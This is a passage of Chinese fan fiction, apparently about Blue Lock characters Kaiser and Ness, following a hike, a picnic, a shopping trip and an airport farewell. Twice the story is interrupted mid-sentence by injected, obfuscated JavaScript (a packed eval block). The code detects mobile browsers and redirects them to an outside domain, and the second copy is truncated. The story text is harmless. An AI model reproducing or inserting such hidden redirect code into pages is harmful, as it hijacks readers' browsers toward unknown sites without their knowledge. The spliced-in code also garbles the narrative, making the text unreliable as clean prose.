内斯哭笑不得:“你啊……何必呢。”但他还是陪在我身边,减慢了速度,配合着我的节奏,时不时递水给我,或者问我需不需要休息。 剩下的路程,我故意放慢了速度,一边调整呼吸恢复体力,一边和内斯闲聊着,欣赏沿途的风景。内斯是个很好的同伴,温柔又体贴,会在我喘不上气的时候耐心等待,会在我看风景的时候安静地陪在一旁,还会在我差点滑倒的时候及时伸出手。 和他一起爬山,感觉时间过得很快,也没那么累了。 终于,看到了前方不远处平台的轮廓,甚至能隐约看到凯撒那个黑色的、抱臂而立、显得极其不耐烦的身影。 我深吸一口气,对内斯说:“我们快点吧,别让他等太久了。” 内斯点点头。 我们加快了脚步,最后一段台阶,几乎是小跑着冲了上去—— 就在我的脚踏上平台平坦地面的那一刻—— “嘭!嘭!” 两声巨响突然炸开!彩色的纸屑和亮片如同天女散花般,从平台一侧的树丛后喷涌而出,劈头盖脸地朝着平台入口处、也就是凯撒站立的位置洒落下去! 时间拿捏得恰到好处!正是凯撒听到脚步声,下意识转过身来的瞬间! 只见凯撒整个人都僵住了!哪怕隔着墨镜,我也能想象出他此刻骤然收缩的瞳孔和脸上那罕见的、措手不及的震惊表情!他那一身黑的运动装上,瞬间沾满了五颜六色、极其可笑的纸屑和亮片,甚至还有几片顽皮地挂在了他金色的发丝和墨镜架上! 而他面前,我舅舅举着两个已经空了的礼花筒,从树丛后跳了出来,脸上带着恶作剧得逞的、极其灿烂的笑容,大声喊道:“Surprise!欢迎登顶!这位……呃,造型很别致的先生!” 空气死一般寂静。 山风呼呼吹过,卷起几片彩纸,气氛尴尬又诡异。 内斯彻底愣住了,嘴巴张成了O型,看着满头彩屑、气场瞬间跌至冰点的凯撒,又看看笑嘻嘻的舅舅,完全搞不清楚状况。 我能感觉到凯撒周身的气压正在以惊人的速度降低,那紧抿的嘴唇和绷紧的下颌线无不昭示着国王即将爆发的怒火。 就是现在! 我猛地向前一步,抢在他发火之前,用尽全身力气,大声地、快速地解释道:“这是我舅舅!他刚好也来德国出差!听说我来爬山就说要给我个惊喜在这里等我!他不知道你会突然转身!真的!他看你站稳了才放的!绝对没有故意吓唬你的意思!就是普通的欢迎仪式!真的!” 我一口气说完,差点背过气去,心脏在胸腔里咚咚狂跳,眼睛死死盯着凯撒,生怕漏掉他一丝一毫的反应。 凯撒的视线缓缓地从一脸无辜(假装)的舅舅身上,移到了我的脸上。墨镜阻隔了眼神交流,但我能感觉到那冰冷的审视。他没说话,只是抬起手,慢条斯理地、极其嫌弃地弹掉了肩膀和头发上的彩屑。 每弹一下,周围的空气就更冷一分。 内斯终于回过神来,吓得脸色发白,赶紧上前一步,试图打圆场:“舅、舅舅您好!我是亚历克西斯·内斯!这、这真是个……意想不到的欢迎……凯撒他……” “幼稚。”凯撒终于开口了,声音冷得像冰,带着毫不掩饰的不爽和嘲讽,“清田爱,你几岁了?还玩这种三岁小孩的把戏?” 来了!预料之中的毒舌! 但我非但没有害怕,反而因为计划成功了一半而涌起一股莫名的勇气。我仰起头,迎着他冰冷的视线(虽然看不到),理直气壮地回怼:“没办法嘛!老师你平时超级欠的!这只是个小小的‘回礼’!” 话一出口,我就有点后悔了。是不是说得太直白了? 果然,凯撒周身的寒气更重了。他向前迈了一小步,那股无形的压迫感瞬间笼罩下来。 “……老师?”他重复了一遍这个词,语气里带着一种极其危险的、玩味的探究,“你叫我什么?” 他的声音不高,却像一颗投入深潭的石子,瞬间在我心里激起了千层浪。 完了! 我的脸颊猛地烧了起来,心跳骤然失序,下意识地就想后退,脚下却像生了根一样动弹不得。只能徒劳地张了张嘴,却发不出任何声音。 山风吹过,扬起他发间残留的彩色亮片,在阳光下闪烁着滑稽又诡异的光芒。 平台上一时间寂静无声,只剩下风吹过树叶的沙沙响,以及我震耳欲聋的心跳声。 不过……我很快就把自己调理好了。还好,他的调侃我已经逐渐免疫了!甚至还能梗着脖子回敬一句:“只、只准你叫我小学徒,不准我叫你老师吗?哪有这种道理!家教老师也是老师!” 凯撒闻言,像是听到了什么极其有趣的笑话,低低地笑了起来。那笑声不像平时那样充满嘲讽,反而带着点说不清道不明的……玩味?他微微倾身,隔着那该死的墨镜,我仿佛都能感觉到他视线落在我发烫的脸颊上。 “呵,伶牙俐齿。”他慢悠悠地说,语调拖长,像羽毛轻轻搔过耳廓,“不过,小学徒,在逞强之前,建议你先找个镜子照照——你脸红得快要冒烟了。” 被他一语戳破,我脸上的热度不降反升,只能硬着头皮嘴硬:“这、这是刚才爬山跑的!剧烈运动后脸红很正常!才不是因为你!” “哦?”他挑了挑眉,极其敷衍地耸了下肩,“你说是什么就是什么吧。” 他顿了一下,忽然用一种更加缓慢、更加清晰的语调,吐出了四个字: “小、爱、同、学。” 这称呼被他用那种带着德国腔调、低沉又刻意放缓的嗓音念出来,莫名地带上了一种黏腻又戏谑的质感!像是一颗包裹着糖衣的怪异药丸,不知道是在恶心我还是在回击我! 我瞬间起了一身鸡皮疙瘩,差点跳起来:“不许这么叫!难听死了!” “怎么?”他好整以暇地反问,“老师不能这么叫学生?还是说……”他刻意停顿,嘴角的弧度越发恶劣,“你更喜欢‘小学徒’?” “……臭脾气老师!”我气得跺脚,搜肠刮肚地想找出更恶毒的词汇反击,却发现词汇量贫乏得可怜。 “臭脾气?”凯撒像是听到了什么褒奖,嗤笑一声,“我对你的耐心已经快突破极限了,小爱同学。换个人这么不知死活地在我面前蹦跶,早就被我一拳揍趴下了。” “暴力老师!”我立刻给他贴上新的标签。 “我就这样。”他毫不在意地哼了一声,甚至有点理所当然,“不服气?行啊,换个‘温柔’老师去。不过别怪我没提醒你——”他声音压低,带着一丝冰冷的警告,“被那些半吊子练废了,可没人给你收尸。” 哼!吓唬谁呢!我扭过头,决定不再搭理这个自大狂。目光转向旁边一直处于石化状态、试图把自己缩成一团减少存在感的内斯。 我一把拉住内斯的手腕——他的手腕细瘦,皮肤温热,被我突然抓住,他吓得整个人一颤,梅色的眼睛惊慌地看向我,像只受惊的小鹿。 “内斯,我们走!不理这个坏脾气又暴力的家伙!”我拽着内斯,不由分说地就朝着舅舅之前暗示过的、平台另一侧那片看起来格外葱郁的树丛走去,“我舅舅准备了野餐!有很多好吃的!” “啊?诶?爱?等、等一下……”内斯完全没料到战火会突然蔓延到他这里,被我拽得一个踉跄,下意识地回头看向凯撒,脸上写满了“对不起凯撒我不是自愿的”和“怎么办凯撒我要死了”的绝望。 凯撒似乎也没料到我会直接上手拉走内斯,他站在原地,没动,墨镜的方向对着我们拉扯的方向,嘴角那点玩味的笑容似乎淡了下去,周身的气压又有点降低的趋势。 我才不管他!拉着内斯,几乎是逃也似的钻进了树丛后的小径。 果然,没走几步,眼前豁然开朗。一片被树荫环绕的小空地上,铺着一张格纹野餐垫,上面已经摆满了各种令人食指大动的食物!三明治、水果沙拉、香肠、还有好几盒看起来就很好吃的蛋糕!舅舅正笑眯眯地坐在垫子旁,对着我们招手。 “哟!来得正好!我刚摆好!快过来快过来!”舅舅的目光在我和内斯身上转了一圈,又意味深长地瞟了一眼我们身后树林的方向,脸上的笑容更加灿烂了,“怎么样,登顶的‘惊喜’还满意吗?” 我松开内斯的手,扑到野餐垫前,拿起一块三明治狠狠咬了一口,含糊不清地抱怨:“舅舅!你那个礼花放得太是时候了!差点把他吓跳起来!” “哈哈哈!那是!你舅舅我出手,时机必须精准!”舅舅得意地大笑,然后看向还僵在原地、手足无措的内斯,“这位就是内斯吧?常听爱提起你,说你是最温柔最好的表哥!快来坐!别客气!” 内斯的脸唰一下红了,紧张地鞠了一躬:“您、您好!先生!我是亚历克西斯·内斯!给您添麻烦了!”他的礼仪周到得让人心疼。 “哎呀,别这么见外!叫舅舅就行!来来来,尝尝这个,慕尼黑本地一家老店的火腿,味道相当不错!”舅舅热情地招呼内斯坐下,塞给他一个堆得满满的三明治。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251847|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内斯受宠若惊地接过,小口小口地吃着,眼神还是忍不住往树林小径那边瞟,显然还在担心某个被独自留下的国王陛下。 我心里那点小小的报复快感过去后,看着内斯坐立不安的样子,也有点过意不去。而且……我也没真的打算饿死那个家伙。 我磨磨蹭蹭地挪到野餐垫的另一边,那里放着一个稍微小一点的、包装很精致的食盒。我偷偷打开盖子看了一眼——里面果然是舅舅特意准备的、从日本带过来的各种口味的烤面包边!甚至还细心地分成了原味、微咸、焦糖等几个小袋子,烤得金黄酥脆,香气扑鼻! 我拿起那盒面包边,又抓了几瓶水和几个看起来顶饱的三明治,塞进一个纸袋里。然后深吸一口气,做出一副“我只是不想浪费食物”的表情,朝着树林小径走去。 刚走到小径入口,就看到凯撒还维持着刚才的姿势站在原地,双手插兜,背对着我们,望着山下的风景。背影挺拔却莫名透着一种“全世界都欠老子钱”的孤傲感。彩色的纸屑还有几片顽强地粘在他黑色的运动服上,随着山风微微抖动,看起来有点滑稽,又有点……可怜? 我甩甩头,把“可怜”这个可怕的词赶出脑海。走上前,把纸袋直接递到他旁边。 “喏。”我没好气地开口。 凯撒像是早就知道我会过来,缓缓转过身。墨镜已经被他推到了额头上,露出那双冰蓝色的眼眸。他垂眼瞥了一下我递过去的纸袋,没接,只是挑了挑眉,用眼神表达询问。 “剩、剩下的!”我扭开脸,不看他,声音有点硬邦邦的,“舅舅准备太多了,吃不完浪费!反正你什么都没带,饿晕在山上了还得麻烦救援队!” 他的目光在我强作镇定的侧脸和那明显是精心分装的面包边上扫过,嘴角似乎几不可查地向上弯了一下,但很快又压了下去。他慢条斯理地伸出手,接过了纸袋。 他的指尖不经意地擦过我的手指,带着山风的微凉,让我下意识地缩回了手。 他打开纸袋,看到里面那琳琅满目的面包边时,动作顿了一下。冰蓝色的眼眸抬起,再次看向我,那里面闪烁着一种极其复杂的、我看不懂的光芒,像是惊讶,又像是某种更深层次的玩味。 “……从日本带来的?”他忽然问,声音听不出情绪。 ……他怎么知道?!我猛地转回头,对上他的视线,脸上还没来得及收起的别扭表情肯定暴露了什么。 他低笑了一声,没再追问,而是从袋子里拿出一根原味的面包边,放进嘴里,咔嚓一声,咬得干脆利落。他咀嚼着,目光却始终没有离开我,那眼神像是发现了什么极其有趣的宝藏。 我被他看得浑身不自在,脸颊又开始升温,丢下一句“你慢慢吃!” 转身就想逃回野餐垫那边。 “喂。”他的声音从身后传来,带着咀嚼食物的含糊,却依旧清晰。 我脚步一顿,没有回头。 “……味道还行。”他淡淡地评价道,顿了顿,又补充了一句,语气听起来竟然有那么一丝……勉强算得上是温和? “谢了。小爱同学。” 我的心脏像是被什么东西轻轻撞了一下,猛地漏跳了一拍。脚下不敢停留,几乎是同手同脚地飞快跑回了野餐垫,一屁股坐在内斯旁边,拿起一瓶水咕咚咕咚猛灌了好几口,试图压下脸上那莫名其妙、来势汹汹的热意。 内斯看着我通红的脸和慌乱的样子,又偷偷瞄了一眼树林方向,梅色的眼睛里充满了担忧和好奇,小声问:“爱……你没事吧?凯撒他……没再说什么吧?” “没、没事!”我用力摇头,声音都比平时高了几度,“他能说什么!就是给了他点吃的堵住他的嘴而已!” 舅舅在一旁看着,脸上露出了然的笑容,悠哉游哉地啃着苹果,什么也没说。 过了一会儿,凯撒也慢悠悠地晃了过来。他没坐下,就靠在旁边一棵树的树干上,一手拿着水瓶,一手从那纸袋里拿出面包边,咔嚓咔嚓地吃着,像只挑剔又矜贵的猫在享用专属零食。他倒是没再说话,也没再看我,只是望着远处的风景,仿佛刚才那段插曲从未发生。 阳光透过树叶的缝隙洒下来,在他身上投下斑驳的光影。山风吹起他金色的发丝,几缕挑染的蓝色格外显眼。他安静吃着面包边的样子,竟然难得地褪去了平日里的尖锐和攻击性,显出一种近乎平和的……帅气? 我赶紧低下头,用力咬了一口手里的三明治。 呸!一定是山顶空气太好,让人产生错觉了! 野餐的气氛因为某个人的加入而变得有些微妙。内斯依旧有些拘谨,大部分时间都在小口吃东西和乖巧地回答舅舅提出的各种关于德国足球青训的问题。舅舅则一如既往地健谈风趣,时不时把内斯逗得脸红。 而我,则努力把自己缩成一个安静的背景板,尽量减少存在感,只是埋头苦吃,偶尔附和两声。 凯撒始终靠在那里,既不过分融入,也没有离开的意思。他吃光了那袋面包边,喝完了水,然后就抱着胳膊,闭目养神,仿佛周遭的一切都与他无关。但那存在感却强得让人无法忽视。 直到野餐结束,开始收拾东西准备下山,他才重新睁开眼睛。 下山的路似乎轻松了许多。或许是因为饱餐一顿补充了能量,或许是因为心情微妙地放松了一些。内斯和我并肩走着,偶尔聊几句。舅舅走在稍前一点的地方,拿着手机不停地拍照。 凯撒依旧坠在最后,不紧不慢地跟着。 走到半山腰一个岔路口时,舅舅忽然接了个电话,听起来像是工作上的急事。他挂了电话,有些抱歉地对我说:“爱,公司那边有点急事需要我立刻回去处理一下。我得直接从这里抄近路去另一个方向的停车场了。你们顺着原路下山就好,没问题吧?” “没问题舅舅,你去忙吧!”我赶紧点头。 舅舅又嘱咐了内斯几句,然后对着后面的凯撒点了点头,便匆匆离开了。 剩下我们三个,气氛又回到了最初的模式。 沉默地走了一段,内斯试图找话题:“爱,你看那边的云,像不像一只小狗?” “啊?哪里?”我顺着他指的方向望去。 “明明像兔子。”凯撒冷冰冰的声音突然从后面插了进来。 内斯:“……” 我:“……” 好吧,看来沉默是金。 终于回到了山脚下,坐上了返程的公交车。折腾了一天,疲惫感后知后觉地涌了上来。车厢里摇摇晃晃,阳光透过车窗照在身上,暖洋洋的。我靠在椅背上,眼皮开始打架,不知不觉竟睡了过去。 迷迷糊糊中,感觉脑袋失去了支撑,歪向一边,却意料之外地没有撞到冰冷的玻璃窗,而是碰触到了一个带着温热体温、有些坚实的“物体”。那“物体”似乎僵硬了一下,但并没有移开。鼻尖隐约萦绕着一股清冽的、混合着阳光和淡淡汗水的气息,并不难闻,反而有点……安心? 我实在是太累了,模糊地咕哝了一声,找了个更舒服的姿势,彻底沉入了梦乡。 不知过了多久,我被内斯轻轻摇醒。 “爱,醒醒,我们到了。” 我迷迷糊糊地睁开眼,发现自己竟然几乎整个人都歪到了旁边内斯的肩膀上!而内斯正襟危坐,身体绷得笔直,脸颊通红,一动不敢动。 “啊!对不起内斯!”我赶紧弹开,尴尬地道歉,“我睡得太死了……” “没、没关系!”内斯连连摆手,声音细若蚊蚋。 我下意识地往后座瞥了一眼。凯撒不知何时已经下了车,正站在站台下,双手插兜,背对着我们。阳光照在他身上,拉出长长的影子。他额前的发丝似乎有些凌乱,但我看不清他的表情。 下山,换乘,回到市区。抵达我酒店楼下时,天色已经有些晚了。 “今天真的很开心!谢谢你,内斯!”我真诚地向内斯道谢,忽略掉旁边那个大型冰山。 “我也很开心!”内斯笑着回应,眼神温暖,“下次再一起去别的地方吧!” “嗯!” 道别后,内斯和凯撒转身离开。我看着他们的背影,松了口气,今天总算有惊无险地结束了…… 刚走出几步,凯撒却突然停下,转过身。他从口袋里掏出一样东西,随手抛给了我。 我手忙脚乱地接住,低头一看,竟然是一小包独立包装的、印着德文的薄荷糖?看包装好像还是……加强醒脑提神款? 我愕然地抬头看向他。 他隔着几步远的距离,冰蓝色的眼眸在傍晚的暮色中显得有些深邃,嘴角勾着那抹熟悉的、让人火大的嘲弄弧度。 “下次打瞌睡,记得提前吃这个。”他语气懒洋洋的,意有所指,“免得再随便往别人身上倒。” 说完,不等我反应,他便重新转过身,双手插回口袋,潇洒地走了。内斯赶紧对我抱歉地笑了笑,快步跟上。 我捏着那包突如其來的薄荷糖,站在原地,看着他那嚣张又挺拔的背影消失在街角,脸颊又一次不争气地,慢慢烫了起来。 这个混蛋老师! 总是有办法,在稍微让人改观一点的时候,又立刻变得无比讨厌! 可是…… 我低头,看了看手心里那包糖,又想起山顶他吃着面包边时罕见的平和,还有公交车上那个模糊的、温暖的“依靠”…… 心跳,好像又有点不听话了。 可恶! 48. 送别 【老爸:宝贝闺女!最后一天了!老爸我要去跟老朋友们大玩特玩!不用管我!你自己找乐子去吧![兴奋到模糊.jpg]】 我看着屏幕上老爸那充满解放气息的消息,忍不住呵呵冷笑了两声。这家伙,自从卸下世界第一门将的重担后,简直像是挣脱了链子的哈士奇,撒欢得没边,感觉他真能随时抛下地球引力直接飞上外太空。 算了,最后一天,本来也没指望他能有什么靠谱的父爱表现。自己找乐子就自己找乐子。 说起来,来了这些天,光顾着训练、看比赛、还有跟某些混蛋斗智斗勇,居然还没正儿八经地逛过这里的超市。听说德国超市有很多宝藏零食和特色商品,正好去搜刮一圈,给玲王、凪,还有蓝色监狱那几个家伙带点手信。 如果直接喊内斯的话……用脚趾头想都知道,某个自带雷达的家伙肯定会阴魂不散地跟过来。上次爬山“惊喜”的余波还没完全消散,我可不想在离开前一天再经历一次心跳过载。 那么……这次偏偏反其道而行之。 手指悬在手机屏幕上犹豫了三秒,我心一横,直接点开了那个几乎每次交流都能让我血压飙升的聊天界面。 【我:喂。今天有空吗?】 消息发出去后,我盯着屏幕,心里默默倒数。 五,四,三,二—— 手机几乎是立刻震动起来。 【凯撒:?】 果然是这个死德行。连个问句都懒得打全。 我深吸一口气,继续打字。 【我:去超市。陪我逛街。现在。】 言简意赅,直奔主题,甚至带着点命令的口吻。完美。 这次那边沉默了几秒。然后。 【凯撒:想我了?有点粘人啊,小爱同学。】 隔着屏幕我都能想象出他那副挑眉勾唇、自以为魅力无边的臭屁样子!谁想你了!谁粘你了!我这是策略!策略懂吗! 我强忍着摔手机的冲动,手指用力戳着屏幕。 【我:你想多了。只是通知你一声——你不用来了。】 发出这句,我心里涌起一股恶作剧得逞的快感。哼,憋屈吧?疑惑吧?抓心挠肝了吧?让你老是耍我! 然而,凯撒的回复再次突破了我想象力的下限。 【凯撒:?】 又是一个冰冷的问号。紧接着。 【凯撒:走着瞧。】 走着瞧?瞧什么?这又是什么新型的威胁方式? 我盯着这三个字,心里有点发毛,但又强自镇定。不管了,计划照旧! 一小时后,我站在了住处附近一家大型综合超市的门口。阳光明媚,人来人往,并没有某个金蓝挑染的显眼包身影。 难道……计划成功了?他真的被气到不来了? 正想着,一个熟悉的身影急匆匆地从超市里跑了出来,左右张望,看到我时眼睛一亮,快步迎了上来。 “爱!抱歉抱歉!等很久了吗?”内斯微微喘着气,额角有点细汗,梅色的眼睛里带着歉意和一如既往的温暖笑容,“我刚在里面看到一种很不错的巧克力,想着你可能会喜欢,就进去找了一下,结果出来晚了……” “没有没有,我也刚到。”我连忙摆手,视线下意识地在他身后扫了一圈——空空如也。 内斯注意到了我的目光,了然地笑了笑,解释道:“那个……凯撒他今天是真的没空。青年队那边临时有个很重要的视频分析会议,教练点名他必须参加,他脱不开身。” 他顿了顿,又小声补充了一句,像是在为凯撒解释:“他其实……嗯……收到你消息的时候好像还挺……意外的?后来看了会议通知,脸色有点臭……让我一定过来陪你逛好。” 真的没空?所以那句“走着瞧”只是虚张声势?太阳打西边出来了? 我心里莫名地松了口气,但同时又有一丝极其微小的、连自己都不愿承认的……失落?呸!肯定是错觉!是终于摆脱麻烦后的正常反应! “哦。”我努力让自己的语气听起来平淡无奇,“没关系啦,有内斯你在就很好啦!我们快进去吧!我都等不及要扫货了!” “好!”内斯见我似乎真的不在意,笑容更加灿烂了,很自然地走到我侧前方半步的位置,像个忠诚的骑士,“跟我来,我知道哪些区域的东西最值得买!” 和内斯逛超市是一种享受。他耐心极好,知识面也广,从本地特色的火腿奶酪到各种品牌的巧克力饼干,甚至哪些沐浴露味道清新留香持久,他都能说得头头是道,还会仔细地帮我对比成分和价格。 “这个牌子的苹果汁是巴伐利亚这边农庄直供的,口感非常清甜,保质期短,但绝对好喝!” “啊,这种软糖是德国小孩都很喜欢的,酸酸甜甜,你可以带回去分给朋友。” “爱,你看这个厨具!虽然重了点,但质量真的很好,我妈妈就很喜欢这个牌子……” 我推着购物车,跟在他身边,听着他温柔的介绍,手里不断往车里添加各种新奇有趣的商品,心情像是鼓胀的风帆,充满了轻松的愉悦感。这才叫逛街嘛!没有毒舌嘲讽,没有心惊肉跳,只有暖暖的贴心和建议。 就在我们穿过生活用品区,准备转向零食区的时候,一家明亮的宠物用品店突然出现在视野角落。它的橱窗布置得温馨可爱,里面晃动着毛茸茸的身影。 “哇!宠物店!”我的注意力瞬间被吸引,脚步不由自主地拐了过去,“去看看!” “好啊。”内斯笑着跟上。 一进门,就被各种奶声奶气的叫声包围了。笼子里有圆滚滚的金丝熊,玻璃箱里有探头探脑的蜥蜴,还有几个围栏里,几只小猫小狗正滚作一团,互相舔舐玩闹着,毛茸茸的样子瞬间击中了我的心巴! “天啊!太可爱了吧!”我趴在围栏边,看着一只小博美摇着蓬松的尾巴,用湿漉漉的黑眼睛好奇地望着我,心都要化了。 “确实很可爱呢。”内斯也蹲在我旁边,梅色的眼睛弯成了月牙,看着一只努力想爬出围栏的小柯基,忍不住伸出手指轻轻摸了摸它的小脑袋,“毛茸茸的,像会动的玩偶。” “两位客人,喜欢的话可以带一只回家哦。”热情的店员阿姨笑着走过来,“这些都是很健康活泼的小家伙,正在找新家呢。” 带一只回家? 这个诱惑实在太大了。我几乎能想象出有一只这样的小可爱在家里跑来跑去,等我回去的样子……但是…… 现实像一盆冷水浇了下来。 我……好像没空养啊。接下来还要回去上学,还要继续足球训练,还要应付蓝色监狱那帮家伙和家里那个不靠谱的老爸……根本没办法好好照顾一个小生命。 我看向内斯。他似乎也有些心动,但眼神里更多的是遗憾。 “我……平时训练和比赛也很忙,住在基地宿舍,恐怕没办法给它足够的陪伴。”内斯小声对我说,语气里带着歉意,仿佛不能养是他的错一样。 是啊,内斯也不行。 那……小丸子呢?蜂乐回现在在蓝色监狱集训,舅舅来德国出差又带不了宠物,那小丸子应该是雇了人或者干脆在我家被我妈养着吧?我觉得后者可能性大一点。妈妈虽然也忙,但她做事细致可靠,肯定能把小丸子照顾得很好。 想到这里,那点想要带新伙伴回家的冲动慢慢平息了,转化成了对家里那个柴犬老伙计的思念。 “还是不了,”我对店员阿姨抱歉地笑了笑,“我们暂时没办法对一个新的小生命负责。不过……”我话锋一转,拉着内斯走向旁边的宠物食品货架,“可以给我们家原来的那个小家伙带点德国进口的狗粮回去!它应该会喜欢新口味!” “好主意!”内斯立刻表示赞同,兴致勃勃地开始研究起不同品牌的狗粮成分,“这个牌子主打天然粮,对狗狗的毛发很好……这个添加了软骨素,对关节有保护作用……小丸子喜欢哪种口味的?鸡肉?牛肉?还是鱼肉?” 我们俩头碰头地蹲在货架前,仔细对比着各种狗粮的配方和适口性,认真地像是在进行一项重要的科研项目。最后,我们挑选了一款口碑很好、蛋白质含量高的天然羊肉配方狗粮,又搭配了几包狗狗专用的磨牙零食和一个小巧的、巴伐利亚传统风格的宠物项圈。 “小丸子收到一定会很开心的!”内斯帮我拿着那袋沉甸甸的狗粮,笑容比阳光还暖。 “嗯!谢谢内斯!”我抱着零食和项圈,心里充满了给家人(虽然是有毛的家人)准备礼物的满足感。 买完狗粮,我们继续之前的超市扫货之旅。有了这个小插曲,气氛似乎更加轻松自在了。内斯甚至开始跟我分享他小时候偷偷在宿舍养仓鼠结果被教练发现的有趣往事,逗得我哈哈大笑。 走到甜品店,那诱人的甜香像一只无形的小手,直接把我和内斯拽了进去。玻璃橱窗里陈列的各色蛋糕精致得如同艺术品,让人移不开眼。内斯几乎没有任何犹豫,径直指向了那块咖啡色的赫萨蛋糕,眼睛亮晶晶的,显然是对上次父亲送的那块念念不忘。 “我还是选这个!”他语气里带着单纯的喜悦。 我则对着琳琅满目的菜单陷入了选择困难症。巧克力慕斯看起来浓郁,芝士蛋糕看起来绵密,最终,一块点缀着鲜红草莓、看起来格外清爽的草莓慕斯抓住了我的目光。 “那我要这个好了。” 我们找了个靠窗的位置坐下。午后的阳光透过玻璃变得温柔,洒在小小的圆桌上。内斯小口小口地品尝着他的赫萨蛋糕,脸上洋溢着满足的笑容,像个得到心爱玩具的孩子。我的草莓慕斯也没有令人失望,酸甜的草莓果肉搭配轻盈的慕斯体和绵密的蛋糕底,层次丰富,口感绝佳,瞬间抚慰了所有因为逛街而微微疲惫的神经。 “好吃吗?”内斯咽下口中的蛋糕,关切地问我。 “嗯!超级好吃!”我用力点头,挖了一勺递过去,“你要尝尝吗?” 内斯的脸微微泛红,有些不好意思地摇摇头:“啊,不用了,谢谢你爱。我吃自己的就好……”他顿了顿,又小声补充,“而且……间接……那个……” 他的声音越来越小,后面几个字几乎听不清,但我的脸颊也跟着热了起来,赶紧收回手,埋头吃自己的蛋糕。空气里弥漫着甜香和一丝微妙的尴尬,但并不令人讨厌。 很快,我们解决了各自的甜品。内斯像是突然想起什么,对我说道:“爱,你在这里等我一下好吗?我还有点东西忘了买,很快回来!” “好啊,没问题。”我点点头。 看着他匆匆离去的背影,我百无聊赖地晃着腿,看着窗外人来人往。 没过多久,内斯就回来了,手里多了一个包装十分精美的盒子。他走到我面前,脸颊带着运动后的红晕,还有些气喘,小心翼翼地将盒子递给我。 “这个……给你。”他有些不好意思地笑了笑,梅色的眼睛闪烁着真诚的光芒,“是回礼。谢谢你上次送我的巧克力。我查了一下,日本那边有收到礼物后回礼的习惯,对吧?虽然可能有点晚了……” 我惊讶地接过盒子,打开一看,里面竟然是一盒看起来就价格不菲的手工巧克力,每一颗的造型都别致又漂亮。 “这……太破费了内斯!其实不用的……”我连忙说。 “其实……”内斯的脸更红了,他从随身口袋里又掏出一个小袋子,里面装着几块形状有些……嗯……独具匠心的饼干,有的焦了边,有的形状歪歪扭扭,但能看出是努力做过造型的。“我本来想尝试亲手做饼干的……但是,试了很多次,都没有做出满意的样子……这些是……看起来最好的一批了,但还是拿不出手……所以只好去买现成的巧克力了……对不起!” 我看着他那副懊恼又羞涩的样子,再看看手里那盒精美的巧克力和那袋“饱含心血”的丑萌小饼干,心里像是被温暖的泉水泡过一样,又软又暖。 “怎么会!我很喜欢!”我接过那个小袋子,拿起一块看起来像小熊(大概?)的饼干,毫不犹豫地咬了一口,“嗯!很香啊!糖分也刚好!内斯你很厉害嘛!” 内斯睁大了眼睛,难以置信地看着我:“真、真的吗?你不觉得……它们太丑了吗?” “表达感情的礼物,更看重心意,而不是价钱或者外表有多精美啦。”我对他露出一个灿烂的笑容,“内斯的心意,我确实地收到了哦!非常非常开心!” 内斯愣愣地看着我,脸颊上的红晕慢慢扩散开来,那双梅色的下垂眼里仿佛有星光落入了蜜糖,一点点融化开来,最终绽放出一个极其温柔又带着点释然的笑容。 “嗯!”他用力点了点头,声音轻快而温暖,“我明白了!谢谢你,爱!” 我们又坐了一会儿,才离开甜品店。之前买的东西确实有点多,大包小包地堆在一起。内斯二话不说就要把所有袋子都拎过去。 “这怎么好意思!太多了!我们一起提吧!”我赶紧抢过几个看起来轻一点的袋子。 “没关系的,我力气很大……”内斯还想坚持。 “不行不行,说好一起逛的,哪有让你一个人当苦力的道理!”我不由分说地分担了一部分。 最后的结果是,我们俩各自手里都提满了购物袋,并排走着。因为袋子太多,手臂时不时会碰到一起,甚至因为要协调步伐和避开行人,手指偶尔会不经意地擦过。感觉……和牵手也没啥差别,甚至还是内斯出了更多力,因为他总是下意识地把更重、更多的袋子往自己那边挪。 我们一起简单吃了午饭,剩下的时间就在街上随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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又是一阵短暂的沉默。我几乎能听到他那边轻微的呼吸声。 “明天几点的航班?”他突然问。 “早上九点多。” “……知道了。”他顿了顿,似乎想说什么,但最终只是淡淡道,“挂了。” 说完,他竟然真的就直接挂断了电话,没有多余的废话,没有恶劣的调侃。 我拿着手机,愣在原地,心里充满了诡异的违和感。这家伙……今天吃错药了?还是开会开傻了? 摇摇头,不再去想这个琢磨不透的家伙,我开始兴致勃勃地整理今天的收获,尤其是给玲王、凪还有蓝色监狱那些家伙的礼物,每一样都让我期待他们收到时的表情。 第二天早上,我和爸爸提前到了机场。办理完托运手续,正准备去过安检,就看到了等在国际出发大厅的那两个熟悉的身影。 内斯一如既往地早早看到了我们,用力挥手,脸上是温暖的笑容。而凯撒……他居然真的也来了。他穿着简单的黑色T恤和长裤,戴着墨镜,双手插兜站在内斯旁边,一副“我只是顺便路过”的酷拽模样。 “清田先生!爱!这边!”内斯小跑着迎上来。 “哟!亚历克西斯!凯撒!还真来了啊!”爸爸笑着拍拍内斯的肩膀,又对着凯撒挑了挑眉。 凯撒只是微微颔首,算是打过招呼,墨镜后的目光似乎在我脸上扫了一下。 “爱,一路平安。”内斯看着我,语气真诚又带着不舍,“到了记得报个平安。” “嗯嗯,放心吧!”我笑着点头,然后从随身背包里掏出了两个小袋子。 我先将那个装着可爱小饼干的自封袋递给内斯:“喏,内斯,这是给你的!这次是我做的!虽然可能还是没有店里卖的好看,但味道我试过了,不错的!”这可是我查了不少资料,失败了好几次才成功的! 内斯惊喜地接过袋子,看着里面形状比上次他做的要规整不少的小饼干,梅色的眼睛一下子亮了起来,脸上泛起开心的红晕:“谢谢你,爱!我一定会好好品尝的!” 接着,我深吸一口气,像是完成某种重大仪式般,将另一个小盒子递到了凯撒面前。 凯撒似乎愣了一下,墨镜下的脸微微转向我,没有立刻接。 “……这又是什么?小学徒的临别诅咒?”他的语气恢复了几分往常的嘲弄。 